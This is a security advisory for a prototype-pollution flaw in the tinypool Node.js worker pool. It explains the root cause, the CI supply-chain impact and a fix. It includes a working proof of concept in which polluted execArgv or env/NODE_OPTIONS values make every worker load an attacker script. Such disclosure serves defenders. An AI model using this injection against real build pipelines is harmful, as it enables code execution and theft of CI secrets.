tinypool
Affected
- introduced
0, fixed2.1.1(semver)
Fixed versions
2.1.1
Fix
- Fixed version
2.1.1npm install [email protected]
Advisory
Also known as: CVE-2026-104848
Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution
tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.
Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
Object.prototype.execArgv = ['--require', '/path/to/attacker.js'] causes every pool worker to load the attacker's script.Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' } achieves the same via environment injection.Root cause
dist/index.js lines 508-511:
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
this.options is built at line 470 via object spread:
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
Proof of concept
Minimal reproduction (3 files):
worker.mjs — the application's own legitimate worker:
export default function double(n) { return n * 2 }
payload.js — attacker-controlled code (never referenced by the app):
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')
app.js — normal tinypool usage:
const path = require('path')
// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]
const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('pool returned:', r) // 42 — app works normally
pool.destroy()
})
Run:
npm i [email protected]
node app.js
cat /tmp/RCE_PROOF.txt # attacker's code ran
Both execArgv and env vectors confirmed on Node 20.
Suggested fix
Resolve worker options with own-property semantics:
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });Critical Basis: The source's own band: CRITICAL
0, fixed 2.1.1 (semver)2.1.1
2.1.1npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0